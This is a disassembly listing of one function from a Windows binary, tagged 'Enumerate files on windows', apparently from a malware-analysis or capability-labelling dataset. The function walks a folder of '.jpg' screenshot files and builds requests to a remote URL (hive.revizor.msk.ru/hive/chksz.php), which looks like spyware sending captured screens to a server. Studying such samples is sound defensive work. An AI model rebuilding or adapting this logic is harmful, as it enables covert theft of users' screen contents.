Function at 0x1400214e0
Capabilities:
Enumerate files on windows

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x16d0
call fcn.140061300
sub rsp, rax
mov qword [rsp + 0x2e8], 0xfffffffffffffffe
mov qword [rsp + 0x1708], rbx
mov qword [rsp + 0x1710], rsi
mov rax, qword [0x140087990]
xor rax, rsp
mov qword [rsp + 0x16c8], rax
mov r14, rcx
mov qword [rsp + 0x438], rcx
xor ebx, ebx
mov r13d, ebx
mov rdx, rcx
lea rcx, [rsp + 0x440]
call fcn.140003080
nop
lea rax, [rsp + 0x448]
mov rdi, qword [rsp + 0x448]
mov r8, qword [rsp + 0x460]
cmp r8, 8
cmovae rax, rdi
lea r9, [rsp + 0xb0]
test rax, rax
je 0x1400215ba
mov ecx, 0x800
mov edx, ebx
nop word [rax + rax]
test rcx, rcx
je 0x140021593
cmp word [rax], dx
je 0x140021598
add rax, 2
dec rcx
jmp 0x140021580
mov edx, 0x80070057
test r9, r9
je 0x1400215b1
test edx, edx
js 0x1400215ae
mov eax, 0x800
sub rax, rcx
mov qword [r9], rax
jmp 0x1400215b1
mov qword [r9], rbx
test edx, edx
jns 0x1400215bd
test r9, r9
je 0x1400215bd
mov qword [r9], rbx
lea rcx, [rsp + 0x448]
cmp r8, 8
cmovae rcx, rdi
mov edx, 0x7ffffffe
mov edi, 0x800
lea rax, [rsp + 0x6c0]
mov r9, rbx
test rdi, rdi
je 0x14002160d
test rdx, rdx
je 0x140021611
movzx r8d, word [rcx]
test r8w, r8w
je 0x140021611
mov word [rax], r8w
add rax, 2
add rcx, 2
dec rdi
dec rdx
inc r9
jmp 0x1400215e2
sub rax, 2
mov word [rax], bx
lea r8, [0x140074854]
mov edx, 0x800
lea rcx, [rsp + 0x6c0]
call fcn.1400028e0
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x6c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400224ce
or r12, 0xffffffffffffffff
mov qword [rsp + 0x390], 7
mov qword [rsp + 0x388], rbx
mov word [rsp + 0x378], bx
xor eax, eax
mov rcx, r12
lea rdi, [rsp + 0x49c]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x49c]
lea rcx, [rsp + 0x370]
call fcn.14003b810
nop
mov r9, qword [rsp + 0x388]
lea rcx, [rsp + 0x378]
mov r11, qword [rsp + 0x378]
mov r10, qword [rsp + 0x390]
cmp r10, 8
cmovae rcx, r11
mov eax, 1
cmp r9, rax
cmovb rax, r9
lea rdx, [0x14007485c]
test rax, rax
je 0x140021706
movzx edi, word [rcx]
movzx r8d, word [rdx]
cmp di, r8w
je 0x1400216f9
mov eax, 1
cmp di, r8w
cmovb eax, r12d
jmp 0x140021708
add rcx, 2
add rdx, 2
dec rax
jmp 0x1400216d8
mov eax, ebx
movsxd rcx, eax
test eax, eax
jne 0x140021725
cmp r9, 1
jae 0x14002171a
mov ecx, r12d
jmp 0x140021725
mov eax, ebx
cmp r9, 1
setne al
mov ecx, eax
test ecx, ecx
sete dil
cmp r10, 8
jb 0x140021739
mov rcx, r11
call fcn.140044814
test dil, dil
jne 0x1400224b5
mov qword [rsp + 0x390], 7
mov qword [rsp + 0x388], rbx
mov word [rsp + 0x378], bx
xor eax, eax
mov rcx, r12
lea rdi, [rsp + 0x49c]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x49c]
lea rcx, [rsp + 0x370]
call fcn.14003b810
nop
mov r9, qword [rsp + 0x388]
lea rcx, [rsp + 0x378]
mov r11, qword [rsp + 0x378]
mov r10, qword [rsp + 0x390]
cmp r10, 8
cmovae rcx, r11
mov eax, 2
cmp r9, rax
cmovb rax, r9
lea rdx, [0x140074860]
test rax, rax
je 0x1400217f4
movzx edi, word [rcx]
movzx r8d, word [rdx]
cmp di, r8w
je 0x1400217e7
mov eax, 1
cmp di, r8w
cmovb eax, r12d
jmp 0x1400217f6
add rcx, 2
add rdx, 2
dec rax
jmp 0x1400217c6
mov eax, ebx
movsxd rcx, eax
test eax, eax
jne 0x140021813
cmp r9, 2
jae 0x140021808
mov ecx, r12d
jmp 0x140021813
mov eax, ebx
cmp r9, 2
setne al
mov ecx, eax
test ecx, ecx
sete dil
cmp r10, 8
jb 0x140021827
mov rcx, r11
call fcn.140044814
test dil, dil
jne 0x1400224b5
mov qword [rsp + 0x390], 7
mov qword [rsp + 0x388], rbx
mov word [rsp + 0x378], bx
xor eax, eax
mov rcx, r12
lea rdi, [rsp + 0x49c]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x49c]
lea rcx, [rsp + 0x370]
call fcn.14003b810
nop
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x398]
call fcn.140002ef0
nop
cmp qword [rsp + 0x390], 8
jb 0x1400218a7
mov rcx, qword [rsp + 0x378]
call fcn.140044814
mov qword [rsp + 0x390], 7
mov qword [rsp + 0x388], rbx
mov word [rsp + 0x378], bx
mov r12b, 0x2e
mov rsi, qword [rsp + 0x3b0]
test rsi, rsi
je 0x14002248d
cmp rsi, 1
jb 0x14002248d
lea rdi, [rsp + 0x3a0]
cmp qword [rsp + 0x3b8], 0x10
cmovae rdi, qword [rsp + 0x3a0]
nop dword [rax + rax]
movsx edx, r12b
mov r8, rsi
mov rcx, rdi
call fcn.14004554c
test rax, rax
je 0x14002248d
cmp byte [rax], r12b
jne 0x14002247c
lea rcx, [rsp + 0x3a0]
mov r8, qword [rsp + 0x3a0]
mov rdx, qword [rsp + 0x3b8]
cmp rdx, 0x10
cmovae rcx, r8
sub rax, rcx
cmp rax, 0xffffffffffffffff
je 0x14002249d
mov r12b, 0x2e
mov rsi, qword [rsp + 0x3b0]
test rsi, rsi
je 0x1400219cd
cmp rsi, 1
jb 0x1400219cd
lea rdi, [rsp + 0x3a0]
cmp rdx, 0x10
cmovae rdi, r8
nop word [rax + rax]
movsx edx, r12b
mov r8, rsi
mov rcx, rdi
call fcn.14004554c
mov r9, rax
test rax, rax
je 0x1400219cd
cmp byte [rax], r12b
jne 0x1400219bf
lea rax, [rsp + 0x3a0]
cmp qword [rsp + 0x3b8], 0x10
cmovae rax, qword [rsp + 0x3a0]
sub r9, rax
or r12, 0xffffffffffffffff
jmp 0x1400219d4
sub rdi, rax
lea rsi, [rsi + rdi - 1]
lea rdi, [rax + 1]
jmp 0x140021980
or r12, 0xffffffffffffffff
mov r9, r12
xor r8d, r8d
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x398]
call fcn.140038a70
nop
cmp qword [rsp + 0x3d8], 0xa
je 0x140021a4d
cmp qword [rsp + 0x3e0], 0x10
jb 0x140021a10
mov rcx, qword [rsp + 0x3c8]
call fcn.140044814
mov qword [rsp + 0x3e0], send
mov qword [rsp + 0x3d8], rbx
mov byte [rsp + 0x3c8], 0
cmp qword [rsp + 0x3b8], 0x10
jb 0x1400224b5
mov rcx, qword [rsp + 0x3a0]
call fcn.140044814
jmp 0x1400224b5
lea rcx, [rsp + 0x3c8]
cmp qword [rsp + 0x3e0], 0x10
cmovae rcx, qword [rsp + 0x3c8]
call fcn.140045770
mov edx, eax
lea rcx, [rsp + 0x410]
call fcn.1400213f0
nop
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x298]
mov qword [rsp + 0x2f0], rax
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x58]
call fcn.14000e540
nop
mov r8, rax
lea rdx, str._:_screens_
lea rcx, [rsp + 0x80]
call fcn.14003d890
nop
lea r8, [0x140073e00]
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.14003d950
nop
lea r8, [rsp + 0x410]
mov rdx, rax
lea rcx, [rsp + 0x108]
call fcn.14003df70
nop
lea r8, [0x140073e00]
mov rdx, rax
lea rcx, [rsp + 0x130]
call fcn.14003d950
nop
lea r8, [rsp + 0x3c0]
mov rdx, rax
lea rcx, [rsp + 0x1f8]
call fcn.14003df70
nop
lea r8, str..jpg
mov rdx, rax
lea rcx, [rsp + 0x2f8]
call fcn.14003d950
mov rdi, rax
mov qword [rsp + 0x2b8], send
mov qword [rsp + 0x2b0], rbx
mov byte [rsp + 0x2a0], 0
mov r9, r12
xor r8d, r8d
lea rdx, [0x1400893a0]
lea rcx, [rsp + 0x298]
call fcn.140039420
nop
mov qword [rsp + 0x1c8], send
mov qword [rsp + 0x1c0], rbx
mov byte [rsp + 0x1b0], 0
mov r9, r12
xor r8d, r8d
lea rdx, [0x140089378]
lea rcx, [rsp + 0x1a8]
call fcn.140039420
nop
lea r8, [0x140073f8c]
mov rdx, r14
lea rcx, [rsp + 0x248]
call fcn.14003d950
nop
lea r8, [rsp + 0x398]
mov rdx, rax
lea rcx, [rsp + 0x348]
call fcn.14003df70
nop
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x298]
lea r8, [rsp + 0x1a8]
mov rdx, rax
lea rcx, [rsp + 0x3e8]
call fcn.140016fb0
nop
cmp qword [rsp + 0x268], 0x10
jb 0x140021c28
mov rcx, qword [rsp + 0x250]
call fcn.140044814
mov qword [rsp + 0x268], send
mov qword [rsp + 0x260], rbx
mov byte [rsp + 0x250], 0
cmp qword [rsp + 0x218], 0x10
jb 0x140021c5c
mov rcx, qword [rsp + 0x200]
call fcn.140044814
mov qword [rsp + 0x218], send
mov qword [rsp + 0x210], rbx
mov byte [rsp + 0x200], 0
cmp qword [rsp + 0x150], 0x10
jb 0x140021c90
mov rcx, qword [rsp + 0x138]
call fcn.140044814
mov qword [rsp + 0x150], send
mov qword [rsp + 0x148], rbx
mov byte [rsp + 0x138], 0
cmp qword [rsp + 0x128], 0x10
jb 0x140021cc4
mov rcx, qword [rsp + 0x110]
call fcn.140044814
mov qword [rsp + 0x128], send
mov qword [rsp + 0x120], rbx
mov byte [rsp + 0x110], 0
cmp qword [rsp + 0xd8], 0x10
jb 0x140021cf8
mov rcx, qword [rsp + 0xc0]
call fcn.140044814
mov qword [rsp + 0xd8], send
mov qword [rsp + 0xd0], rbx
mov byte [rsp + 0xc0], 0
cmp qword [rsp + 0xa0], 0x10
jb 0x140021d2c
mov rcx, qword [rsp + 0x88]
call fcn.140044814
mov qword [rsp + 0xa0], send
mov qword [rsp + 0x98], rbx
mov byte [rsp + 0x88], 0
cmp qword [rsp + 0x78], 0x10
jb 0x140021d5a
mov rcx, qword [rsp + 0x60]
call fcn.140044814
mov qword [rsp + 0x78], send
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x3f0]
mov r12, qword [rsp + 0x3f0]
mov rsi, qword [rsp + 0x408]
cmp rsi, 0x10
cmovae rcx, r12
mov r8d, 4
mov rdi, qword [rsp + 0x400]
cmp rdi, r8
cmovb r8, rdi
lea rdx, str.pong
call fcn.1400592f0
movsxd rcx, eax
test eax, eax
jne 0x140021dca
cmp rdi, 4
jb 0x1400223d0
mov eax, ebx
cmp rdi, 4
setne al
mov ecx, eax
test ecx, ecx
jne 0x1400223d0
lea r8, [0x140073f8c]
mov rdx, r14
lea rcx, [rsp + 0xe0]
call fcn.14003d950
nop
lea r8, [rsp + 0x398]
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.14003df70
nop
or r12, 0xffffffffffffffff
mov r9, r12
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x398]
call fcn.140039420
nop
cmp qword [rsp + 0x50], 0x10
jb 0x140021e2d
mov rcx, qword [rsp + 0x38]
call fcn.140044814
mov qword [rsp + 0x50], send
mov qword [rsp + 0x48], rbx
mov byte [rsp + 0x38], 0
cmp qword [rsp + 0x100], 0x10
jb 0x140021e58
mov rcx, qword [rsp + 0xe8]
call fcn.140044814
lea rax, [rsp + 0x30]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x50], send
mov qword [rsp + 0x48], rbx
mov byte [rsp + 0x38], 0
mov r9, r12
xor r8d, r8d
lea rdx, [0x140089328]
lea rcx, [rsp + 0x30]
call fcn.140039420
nop
lea rcx, [rsp + 0xe0]
call fcn.14000e540
mov rdi, rax
lea r8, [0x1400893a0]
lea rdx, str.http:__hive.revizor.msk.ru_hive_chksz.php_id
lea rcx, [rsp + 0x158]
call fcn.14003d890
nop
lea r8, str.objscreensday
mov rdx, rax
lea rcx, [rsp + 0x2c0]
call fcn.14003d950
nop
lea r8, [rsp + 0x410]
mov rdx, rax
lea rcx, [rsp + 0x270]
call fcn.14003df70
nop
lea r8, str.tick
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.14003d950
nop
lea r8, [rsp + 0x3c0]
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.14003df70
nop
lea r8, str.user
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.14003d950
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x320]
call fcn.14003df70
nop
lea r8, [rsp + 0x30]
mov rdx, rax
lea rcx, [rsp + 0x370]
call fcn.14000f500
nop
cmp qword [rsp + 0x1a0], 0x10
jb 0x140021f78
mov rcx, qword [rsp + 0x188]
call fcn.140044814
mov qword [rsp + 0x1a0], send
mov qword [rsp + 0x198], rbx
mov byte [rsp + 0x188], 0
cmp qword [rsp + 0x1f0], 0x10
jb 0x140021fac
mov rcx, qword [rsp + 0x1d8]
call fcn.140044814
mov qword [rsp + 0x1f0], send
mov qword [rsp + 0x1e8], rbx
mov byte [rsp + 0x1d8], 0
cmp qword [rsp + 0x240], 0x10
jb 0x140021fe0
mov rcx, qword [rsp + 0x228]
call fcn.140044814
mov qword [rsp + 0x240], send
mov qword [rsp + 0x238], rbx
mov byte [rsp + 0x228], 0
cmp qword [rsp + 0x290], 0x10
jb 0x140022014
mov rcx, qword [rsp + 0x278]
call fcn.140044814
mov qword [rsp + 0x290], send
mov qword [rsp + 0x288], rbx
mov byte [rsp + 0x278], 0
cmp qword [rsp + 0x2e0], 0x10
jb 0x140022048
mov rcx, qword [rsp + 0x2c8]
call fcn.140044814
mov qword [rsp + 0x2e0], send
mov qword [rsp + 0x2d8], rbx
mov byte [rsp + 0x2c8], 0
cmp qword [rsp + 0x178], 0x10
jb 0x14002207c
mov rcx, qword [rsp + 0x160]
call fcn.140044814
mov qword [rsp + 0x178], send
mov qword [rsp + 0x170], rbx
mov byte [rsp + 0x160], 0
cmp qword [rsp + 0x100], 0x10
jb 0x1400220b0
mov rcx, qword [rsp + 0xe8]
call fcn.140044814
mov qword [rsp + 0x100], send
mov qword [rsp + 0xf8], rbx
mov byte [rsp + 0xe8], 0
mov qword [rsp + 0xa0], send
mov qword [rsp + 0x98], rbx
mov byte [rsp + 0x88], 0
mov r9, r12
xor r8d, r8d
lea rdx, [rsp + 0x398]
lea rcx, [rsp + 0x80]
call fcn.140039420
lea rcx, [rsp + 0x80]
call fcn.1400040a0
mov edx, eax
lea rcx, [rsp + 0xb8]
call fcn.140002a00
nop
mov r8, rax
lea rdx, str.size:
lea rcx, [rsp + 0x58]
call fcn.14003d890
nop
mov rdi, qword [rax + 0x18]
cmp qword [rax + 0x20], 0x10
jb 0x140022146
mov rdx, qword [rax + 8]
jmp 0x14002214a
lea rdx, [rax + 8]
lea rcx, [rsp + 0x378]
cmp qword [rsp + 0x390], 0x10
cmovae rcx, qword [rsp + 0x378]
mov r8, rdi
mov rsi, qword [rsp + 0x388]
cmp rsi, rdi
cmovb r8, rsi
call fcn.1400592f0
movsxd rcx, eax
test eax, eax
jne 0x140022196
cmp rsi, rdi
jae 0x14002218c
mov ecx, r12d
jmp 0x140022196
mov eax, ebx
cmp rsi, rdi
setne al
mov ecx, eax
test ecx, ecx
sete dil
cmp qword [rsp + 0x78], 0x10
jb 0x1400221ae
mov rcx, qword [rsp + 0x60]
call fcn.140044814
mov qword [rsp + 0x78], send
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x60], 0
cmp qword [rsp + 0xd8], 0x10
jb 0x1400221d9
mov rcx, qword [rsp + 0xc0]
call fcn.140044814
test dil, dil
je 0x1400221fd
lea rcx, [rsp + 0x3a0]
cmp qword [rsp + 0x3b8], 0x10
cmovae rcx, qword [rsp + 0x3a0]
call fcn.140045a24
cmp r13d, 0x10
jne 0x1400222f8
cmp qword [rsp + 0x390], 0x10
jb 0x14002221f
mov rcx, qword [rsp + 0x378]
call fcn.140044814
mov qword [rsp + 0x390], send
mov qword [rsp + 0x388], rbx
mov byte [rsp + 0x378], 0
cmp qword [rsp + 0x408], 0x10
jb 0x140022253
mov rcx, qword [rsp + 0x3f0]
call fcn.140044814
mov qword [rsp + 0x408], 0xf
mov qword [rsp + 0x400], rbx
mov byte [rsp + 0x3f0], 0
cmp qword [rsp + 0x430], 0x10
jb 0x140022287
mov rcx, qword [rsp + 0x418]
call fcn.140044814
mov qword [rsp + 0x430], 0xf
mov qword [rsp + 0x428], rbx
mov byte [rsp + 0x418], 0
cmp qword [rsp + 0x3e0], 0x10
jb 0x1400222bb
mov rcx, qword [rsp + 0x3c8]
call fcn.140044814
mov qword [rsp + 0x3e0], send
mov qword [rsp + 0x3d8], rbx
mov byte [rsp + 0x3c8], 0
cmp qword [rsp + 0x3b8], 0x10
jb 0x1400224ce
mov rcx, qword [rsp + 0x3a0]
call fcn.140044814
jmp 0x1400224ce
cmp qword [rsp + 0x390], 0x10
jb 0x140022310
mov rcx, qword [rsp + 0x378]
call fcn.140044814
inc r13d
cmp qword [rsp + 0x408], 0x10
jb 0x14002232b
mov rcx, qword [rsp + 0x3f0]
call fcn.140044814
mov qword [rsp + 0x408], 0xf
mov qword [rsp + 0x400], rbx
mov byte [rsp + 0x3f0], 0
cmp qword [rsp + 0x430], 0x10
jb 0x14002235f
mov rcx, qword [rsp + 0x418]
call fcn.140044814
mov qword [rsp + 0x430], 0xf
mov qword [rsp + 0x428], rbx
mov byte [rsp + 0x418], 0
cmp qword [rsp + 0x3e0], 0x10
jb 0x140022393
mov rcx, qword [rsp + 0x3c8]
call fcn.140044814
mov qword [rsp + 0x3e0], send
mov qword [rsp + 0x3d8], rbx
mov byte [rsp + 0x3c8], 0
cmp qword [rsp + 0x3b8], 0x10
jb 0x1400224b5
mov rcx, qword [rsp + 0x3a0]
call fcn.140044814
jmp 0x1400224b5
cmp rsi, 0x10
jb 0x1400223de
mov rcx, r12
call fcn.140044814
mov qword [rsp + 0x408], 0xf
mov qword [rsp + 0x400], rbx
mov byte [rsp + 0x3f0], 0
cmp qword [rsp + 0x430], 0x10
jb 0x140022412
mov rcx, qword [rsp + 0x418]
call fcn.140044814
mov qword [rsp + 0x430], 0xf
mov qword [rsp + 0x428], rbx
mov byte [rsp + 0x418], 0
cmp qword [rsp + 0x3e0], 0x10
jb 0x140022446
mov rcx, qword [rsp + 0x3c8]
call fcn.140044814
mov qword [rsp + 0x3e0], send
mov qword [rsp + 0x3d8], rbx
mov byte [rsp + 0x3c8], 0
cmp qword [rsp + 0x3b8], 0x10
jb 0x1400224ce
mov rcx, qword [rsp + 0x3a0]
call fcn.140044814
jmp 0x1400224ce
sub rdi, rax
lea rsi, [rsi + rdi - 1]
lea rdi, [rax + 1]
jmp 0x140021900
mov rdx, qword [rsp + 0x3b8]
mov r8, qword [rsp + 0x3a0]
cmp rdx, 0x10
jb 0x1400224b1
mov rcx, r8
call fcn.140044814
or r12, 0xffffffffffffffff
jmp 0x1400224b5
or r12, 0xffffffffffffffff
lea rdx, [rsp + 0x470]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140021654
cmp qword [rsp + 0x460], 8
jb 0x1400224e7
mov rcx, qword [rsp + 0x448]
call fcn.140044814
nop
jmp 0x1400224f3
cmp qword [r14 + 0x20], 0x10
jb 0x140022503
mov rcx, qword [r14 + 8]
call fcn.140044814
mov qword [r14 + 0x20], send
mov qword [r14 + 0x18], rbx
mov byte [r14 + 8], 0
mov rcx, qword [rsp + 0x16c8]
xor rcx, rsp
call fcn.140044830
lea r11, [rsp + 0x16d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret